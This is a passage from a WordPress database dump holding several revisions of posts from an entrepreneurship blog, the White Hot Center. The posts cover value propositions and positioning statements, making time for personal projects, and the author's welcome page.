you.</h2>\r\nPositioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Resonate</strong>\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Differentiate</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Substantiate</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the <a href="http://www.linkedin.com/groups/White-Hot-Center-3872207?trk=myg_ugrp_ovr" target="_blank">White Hot Center Group on LinkedIn</a> and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development conversations.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-16', '', '', '2011-04-25 11:51:36', '2011-04-25 18:51:36', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-16/', 0, 'revision', '', 0),
(1604, 2, '2011-04-25 11:58:55', '2011-04-25 18:58:55', '<img class="alignnone size-full wp-image-1596" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed3.jpg" alt="" width="480" height="336" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind. An effective positioning forms a collection of reasons clients / customers buy from you.</h2>\r\nPositioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Be relevant</strong>.\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Be different.</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Be credible.</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the <a href="http://www.linkedin.com/groups/White-Hot-Center-3872207?trk=myg_ugrp_ovr" target="_blank">White Hot Center Group on LinkedIn</a> and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development conversations.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-17', '', '', '2011-04-25 11:58:55', '2011-04-25 18:58:55', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-17/', 0, 'revision', '', 0),
(1605, 2, '2011-04-25 11:59:07', '2011-04-25 18:59:07', '<img class="alignnone size-full wp-image-1596" title="The seed of better outcomes" src="http://whc.fbdev.org/wp-content/uploads/2011/04/value-seed3.jpg" alt="" width="480" height="336" />\r\n<h1><span style="color: #808080;">Your value proposition is the seed of all your business development conversations. If your conversations are going to grow into more paying clients, you’ll have to plant a collection of reasons people will buy from you rather than from someone else.</span></h1>\r\nPeople don’t buy things they buy outcomes. Customers/clients don’t care about your products and services. The value people care about is in the outcome they desire, not the thing you’re selling.  To stand out from the slush pile, your business development conversations need to be rooted in a compelling value proposition.\r\n\r\nYour value proposition (or unique selling proposition) clearly tells your prospective clients essential things they really care about before anything else you say will matter to them. Here are its components:\r\n\r\n•  what business your in (frame of reference)\r\n•  whom you serve (target market)\r\n•  what problems you solve / emotional needs you fulfill (desired outcomes)\r\n•  what the benefits are (business value of the outcome)\r\n•  what services/ what products (your offering)\r\n•  what proof you have to deliver your promise (case stories, testimonials)\r\n•  why your offering is preferable to available alternatives (genuine distinction)\r\n<h2>In marketing parlance, this is called “positioning”.  Positioning is the space your value occupies in a prospective customer’s mind. An effective positioning forms a collection of reasons clients / customers buy from you.</h2>\r\nPositioning is the art of sacrifice. Your business has to stand for something specific and valuable. To make your business development conversations compelling to prospects, you can’t be all things to all people.\r\n\r\nHowever, before your answers to the above questions will matter to a prospective client, there’s another essential piece to this puzzle you need to keep in mind. Your value proposition must:\r\n\r\n<strong>Be relevant</strong>.\r\nIs there a real market for your product/service?  Are people willing to exchange money for your proposition? What do people care about that you have a highly-valued solution for? Resonance is a natural law–like attracts like. Your value proposition has to matter to like minded people, or there’s no business.\r\n\r\n<strong>Be different.</strong>\r\nBe known for providing only ONE highly-valued outcome. Be the “go-to” resource for solving a specific problem. Not a run-of-the-mill generalist clawing your way to the middle. Your value proposition must reinforce the idea your specialized expertise is not in abundant supply. How easy is it for clients to find a suitable substitute for your offerings? Your answer will reveal the amount of competitive advantage you’ll have in the sales cycle with prospective clients.\r\n\r\n<strong>Be credible.</strong>\r\nYou must prove you can deliver on your promise of value. How have other clients benefited from your services? What compelling stories can you tell that inspire your prospects and relieve them of their natural tendencies to be wary and risk averse.\r\n\r\n<strong>Put it all together in a simple and concise statement. </strong>\r\n\r\nThis is your positioning statement framework. It forms the essence of all your early-stage business development conversations. Your positioning statement guides all your marketing and business communications in person, on-line, and in all forms of marketing communication. As an example, here’s the positioning statement framework for the White Hot Center:\r\n\r\nThe White Hot Center is an online professional development resource,\r\n<strong>(what it is)</strong>\r\nserving early stage entrepreneurs,\r\n<strong>(who it serves)</strong>\r\nwho seek inspiration, ideas, clarity and confidence,\r\n<strong>(client needs and desired outcome)</strong>\r\nto pursue their best opportunities to create more impact, influence and income.\r\n<strong>(the emotional benefit and business value)</strong>\r\n\r\nThe White Hot Center provides online business consulting and professional development products,\r\n<strong>(the offering)</strong>\r\nthrough an information sharing blog,\r\n<strong>(the proof)</strong>\r\npresented in a simple, honest, engaging and artistic manner.\r\n<strong>(a genuine distinction)</strong>\r\n\r\nNotice in the positioning framework I don’t lead by rattling off my services. My services are not the most important component of my value proposition.  It’s not rocket science, but getting it precise requires some introspective thinking on your part. To get some objective feedback, you might ask your current clients what value they receive by working with you as opposed to somebody else. Their answers will illuminate your discovery.\r\n\r\nTake a moment away from the grind of your day and think about how you will create your own value proposition and positioning statement to guide your business development conversations. It will have an incredibly positive effect on your sales success. When you are satisfied with it, please share yours here, or go the <a href="http://www.linkedin.com/groups/White-Hot-Center-3872207?trk=myg_ugrp_ovr" target="_blank">White Hot Center Group on LinkedIn</a> and post yours there. Share the love!\r\n\r\nTo your inspired success,\r\nThomson', 'The seed of better outcomes in your business development conversations.', 0, '', 'inherit', 'open', 'open', '', '1583-revision-18', '', '', '2011-04-25 11:59:07', '2011-04-25 18:59:07', '', 1583, 'http://www.whitehotcenter.com/2011/04/25/1583-revision-18/', 0, 'revision', '', 0),
(1613, 2, '2011-05-21 13:37:45', '2011-05-21 20:37:45', '<h1><img class="alignnone size-full wp-image-1617" title="time" src="http://whc.fbdev.org/wp-content/uploads/2011/05/time1.jpg" alt="Make the time" width="480" height="370" /><span style="color: #808080;">If you have something big you want to do– learn a language, do something different, start a business, create a new product, play piano, write a book– start it now!</span></h1>\r\nWe’ve all said to ourselves, “when I get some extra time, I’ll do (fill in the blank)”. Of course, there is no extra time. We all have the same amount of it. Recently, I was discussing this issue with a colleague who said, “I’d love to do such and such, but there’re just aren’t enough hours in a day. I asked her how many hours she needed to be in a day before she felt like she would have enough time?\r\n\r\nSeriously, there’s enough time do anything you want. You just have to know how to use the time you have correctly. That requires making a choice. Instead of watching TV, you write the outline for your book. Instead of going to bed at 11, stay up an extra hour and work on your bigger better idea. Instead of doing one thing, make a choice to engage yourself in the thing that’s really important to you.\r\n\r\nThere is no perfect time. You’ll never have the right amount of time. You’ll always have other things to do. You don’t need to stay up all night. Just make a choice to put in an hour a day toward realizing your ideas. Surely you can do that.\r\n<h2>Start now, with what you have. Even the smallest amount of time is enough to get something going.</h2>\r\nOnce you begin, you’ll soon see if the thing you thought was important will hold your passion and interest enough to enable you to choose to spend even more time on it.  When you want something bad enough, you’ll make the time–regardless of all the other things you have to do in a day.\r\n\r\nTruth is, most people just don’t want something bad enough. It’s easier to say there’s not enough time. It’s a bullshit excuse. Making your dreams come true has nothing to do with how much time you think you have available.\r\n\r\nAnd you don’t need to learn complex systems for “time management” or “getting things done”. You can’t manage time anyway. All the time you have is right now.\r\n\r\n<strong>What will you choose to do with this moment? Manage your thinking, make a choice, and time will magically take care of itself.</strong>', 'You won’t find the time unless you make the time.', 0, '', 'publish', 'open', 'open', '', 'you-won%e2%80%99t-find-the-time-unless-you-make-the-time', '', '', '2011-05-21 13:37:45', '2011-05-21 20:37:45', '', 0, 'http://www.whitehotcenter.com/?p=1613', 0, 'post', '', 0);
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(1610, 2, '2011-05-05 18:50:14', '2011-05-06 01:50:14', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m so delighted that you have found your way to the White Hot Center.  My purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n\r\nLike you, I’ve always been a seeker of greater wisdom in the areas of personal and professional growth. I’ve never stopped seeking knowledge and learning how do things better, to serve more people, to pursue my creative passions and, of course– create more money and freedom in my life.\r\n\r\n<strong>I’ve been there.</strong>\r\n\r\nI’m grateful for all the success I’ve experienced in my life. I’ve been blessed in so many ways in every area of my life. I’m proud to have the love and respect of my grown children, my life partner, colleagues and dear friends. I’m proud of my work, and grateful for the opportunities to serve others through it. I love being the master of my destiny. But being so, has not been easy.\r\n\r\nLooking back I can see many instances, over three-and-half decades of life experience, my own fear, prejudice and beliefs held me back from really going for it.  I have always highly valued the idea of personal accomplishment. Yet, I feared it as well. For many years, I felt like I had one foot on the gas and one on the brake. A subtle push-me-pull-me tension underpinned every cool idea I have had.  But I took risks anyway.  Some things worked out, some things were crushing failures. I think it would be fair to categorize me as one who has defied conventional wisdom and blazed my own trial.\r\n\r\nIn my professional life I have been an entrepreneur, designer, writer, creative director, design firm executive, brand strategy and marketing consultant. I have worked with executives in world-class global companies and innovative start-ups alike. I have first hand knowledge and experience helping my clients innovate a formless idea, and turn it in to a multi-million dollar business. You can visit my management consulting firm PULL Brand Innovation.\r\n<h2><span style="color: #f99805;">My greatest strength and greatest value lies in my ability to inspire business people to believe in their bigger future. To help them devise methods to turn possibilities into achievement. The White Hot Center is the creative venue through which I will help you do just that!\r\n</span></h2>\r\nMy philosophy of life success is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a>. I suggest you check that out first. From there, you’ll know if you’re in the right place or not.<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nHere on the White Hot Center, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and business development. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you''re burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-05-05 18:50:14', '2011-05-06 01:50:14', '', 172, 'http://www.whitehotcenter.com/2011/05/05/172-revision-101/', 0, 'revision', '', 0),
(1608, 2, '2011-05-05 18:41:01', '2011-05-06 01:41:01', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m so delighted that you have found your way to the White Hot Center.  My purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n\r\nLike you, I’ve always been a seeker of greater wisdom in the areas of personal and professional growth. I’ve never stopped seeking knowledge and learning how do things better, to serve more people, to pursue my creative passions and, of course– create more money and freedom in my life.\r\n\r\n<strong>I’ve been there.</strong>\r\n\r\nI’m grateful for all the success I’ve experienced in my life. I’ve been blessed in so many ways in every area of my life. I’m proud to have the love and respect of my grown children, my life partner, colleagues and dear friends. I’m proud of my work, and grateful for the opportunities to serve others through it. I love being the master of my destiny. But being so, has not been easy.\r\n\r\nLooking back I can see many instances, over three-and-half decades of life experience, my own fear, prejudice and beliefs held me back from really going for it.  I have always highly valued the idea of personal accomplishment. Yet, I feared it as well. For many years, I felt like I had one foot on the gas and one on the brake. A subtle push-me-pull-me tension underpinned every cool idea I have had.  But I took risks anyway.  Some things worked out, some things were crushing failures. I think it would be fair to categorize me as one who has defied conventional wisdom and blazed my own trial.\r\n\r\nIn my professional life I have been an entrepreneur, designer, writer, creative director, design firm executive, brand strategy and marketing consultant. I have worked with executives in world-class global companies and innovative start-ups alike. I have first hand knowledge and experience helping my clients innovate a formless idea, and turn it in to a multi-million dollar business. You can visit my management consulting firm PULL Brand Innovation.\r\n<h1><span style="color: #808080;">My greatest strength and greatest value lies in my ability to inspire business people to believe in their bigger future.</span></h1>\r\nTo help them devise methods to turn possibilities into achievement. The White Hot Center is the creative venue through which I will help you do just that in your business and in your whole life.\r\n\r\nThe philosophy of life I follow is detailed in the White Hot Center Manifesto. I suggest you check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\n<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nThe White Hot Center is the only online business development and life success resource exclusively focused on issues faced by early-stage entrepreneurs and solo professionals who want more clarity and confidence to create more impact, influence and income. For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nHere on the White Hot Center, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and business development. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you''re burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-05-05 18:41:01', '2011-05-06 01:41:01', '', 172, 'http://www.whitehotcenter.com/2011/05/05/172-revision-99/', 0, 'revision', '', 0),
(1609, 2, '2011-05-05 18:43:11', '2011-05-06 01:43:11', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m so delighted that you have found your way to the White Hot Center.  My purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n\r\nLike you, I’ve always been a seeker of greater wisdom in the areas of personal and professional growth. I’ve never stopped seeking knowledge and learning how do things better, to serve more people, to pursue my creative passions and, of course– create more money and freedom in my life.\r\n\r\n<strong>I’ve been there.</strong>\r\n\r\nI’m grateful for all the success I’ve experienced in my life. I’ve been blessed in so many ways in every area of my life. I’m proud to have the love and respect of my grown children, my life partner, colleagues and dear friends. I’m proud of my work, and grateful for the opportunities to serve others through it. I love being the master of my destiny. But being so, has not been easy.\r\n\r\nLooking back I can see many instances, over three-and-half decades of life experience, my own fear, prejudice and beliefs held me back from really going for it.  I have always highly valued the idea of personal accomplishment. Yet, I feared it as well. For many years, I felt like I had one foot on the gas and one on the brake. A subtle push-me-pull-me tension underpinned every cool idea I have had.  But I took risks anyway.  Some things worked out, some things were crushing failures. I think it would be fair to categorize me as one who has defied conventional wisdom and blazed my own trial.\r\n\r\nIn my professional life I have been an entrepreneur, designer, writer, creative director, design firm executive, brand strategy and marketing consultant. I have worked with executives in world-class global companies and innovative start-ups alike. I have first hand knowledge and experience helping my clients innovate a formless idea, and turn it in to a multi-million dollar business. You can visit my management consulting firm PULL Brand Innovation.\r\n<h2><span style="color: #f99805;">My greatest strength and greatest value lies in my ability to inspire business people to believe in their bigger future. To help them devise methods to turn possibilities into achievement. The White Hot Center is the creative venue through which I will help you do just that in your business and in your whole life.</span></h2>\r\nThe philosophy of life I follow is detailed in the White Hot Center Manifesto. I suggest you check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\n<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nThe White Hot Center is the only online business development and life success resource exclusively focused on issues faced by early-stage entrepreneurs and solo professionals who want more clarity and confidence to create more impact, influence and income. For many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nHere on the White Hot Center, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and business development. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you''re burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust and respect by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-05-05 18:43:11', '2011-05-06 01:43:11', '', 172, 'http://www.whitehotcenter.com/2011/05/05/172-revision-100/', 0, 'revision', '', 0),
(1611, 2, '2011-05-05 18:53:07', '2011-05-06 01:53:07', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m so delighted that you have found your way to the White Hot Center.  My purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n\r\nLike you, I’ve always been a seeker of greater wisdom in the areas of personal and professional growth. I’ve never stopped seeking knowledge and learning how do things better, to serve more people, to pursue my creative passions and, of course– create more money and freedom in my life.\r\n\r\n<strong>I’ve been there.</strong>\r\n\r\nI’m grateful for all the success I’ve experienced in my life. I’ve been blessed in so many ways in every area of my life. I’m proud to have the love and respect of my grown children, my life partner, colleagues and dear friends. I’m proud of my work, and grateful for the opportunities to serve others through it. I love being the master of my destiny. But being so, has not been easy.\r\n\r\nLooking back I can see many instances, over three-and-half decades of life experience, my own fear, prejudice and beliefs held me back from really going for it.  I have always highly valued the idea of personal accomplishment. Yet, I feared it as well. For many years, I felt like I had one foot on the gas and one on the brake. A subtle push-me-pull-me tension underpinned every cool idea I have had.\r\n\r\nBut I took risks anyway. Some things worked out, some things were crushing failures. I think it would be fair to categorize me as one who has defied conventional wisdom and blazed my own trial. I have no regrets.\r\n\r\nIn my professional life I have been an entrepreneur, designer, writer, creative director, design firm executive, brand strategy and marketing consultant. I have worked with executives in world-class global companies and innovative start-ups alike. I have first hand knowledge and experience helping my clients innovate a formless idea, and turn it in to a multi-million dollar business. You can visit my management consulting firm PULL Brand Innovation.\r\n<h2><span style="color: #f99805;">My greatest strength and greatest value lies in my ability to inspire business people to believe in their bigger future. To help them devise methods to turn possibilities into achievement. The White Hot Center is the creative venue through which I will help you do just that!\r\n</span></h2>\r\nMy philosophy of life success is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a>. I suggest you check that out first. From there, you’ll know if you’re in the right place or not.<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nHere on the White Hot Center, I write and podcast about ideas that inspire early-stage entrepreneurs at the  crossroads of personal and professional growth, lifestyle design, value  creation and business development. Creating meaningful success is a life-long process of never ending change, growth and expansion. When you''re burning bright full-on, you engage life with greater wonder and enthusiasm. You feel delight in continuously asking yourself–how far can I take my ideas?  That''s how I feel every time I am writing and sharing here!  Indeed, this space is a service to others and a labor of love for me!\r\n\r\nI hope you find my ideas useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your personal and business growth. Of course, I would appreciate you sharing with your colleagues too. Plus, your comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-05-05 18:53:07', '2011-05-06 01:53:07', '', 172, 'http://www.whitehotcenter.com/2011/05/05/172-revision-102/', 0, 'revision', '', 0),
(1612, 2, '2011-05-05 18:59:09', '2011-05-06 01:59:09', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #ff6600;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m so delighted that you have found your way to the White Hot Center.  My purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n\r\nLike you, I’ve always been a seeker of greater wisdom in the areas of personal and professional growth. I’ve never stopped seeking knowledge and learning how do things better, to serve more people, to pursue my creative passions and, of course– create more money and freedom in my life.\r\n\r\n<strong>I’ve been there.</strong>\r\n\r\nI’m grateful for all the success I’ve experienced in my life. I’ve been blessed in so many ways in every area of my life. I’m proud to have the love and respect of my grown children, my life partner, colleagues and dear friends. I’m proud of my work, and grateful for the opportunities to serve others through it. I love being the master of my destiny. But being so, has not been easy.\r\n\r\nLooking back I can see many instances, over three-and-half decades of life experience, my own fear, prejudice and beliefs held me back from really going for it.  I have always highly valued the idea of personal accomplishment. Yet, I feared it as well. For many years, I felt like I had one foot on the gas and one on the brake. A subtle push-me-pull-me tension underpinned every cool idea I have had.\r\n\r\nBut I took risks anyway. Some things worked out, some things were crushing failures. I think it would be fair to categorize me as one who has defied conventional wisdom and blazed my own trial. I have no regrets.\r\n\r\nIn my professional life I have been an entrepreneur, designer, writer, creative director, design firm executive, brand strategy and marketing consultant. I have worked with executives in world-class global companies and innovative start-ups alike. I have first hand knowledge and experience helping my clients innovate a formless idea, and turn it in to a multi-million dollar business. You can visit my management consulting firm <a href="http://www.pullinc.com/" target="_blank"><strong>PULL Brand Innovation</strong></a>.\r\n<h2><span style="color: #f99805;">My greatest strength and greatest value lies in my ability to inspire business people to believe in their bigger future. To help them devise methods to turn possibilities into achievement. The White Hot Center is the creative venue through which I will help you do just that!\r\n</span></h2>\r\nMy philosophy of life success is detailed in the <strong><a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a></strong>. Check that out first. From there, you’ll know 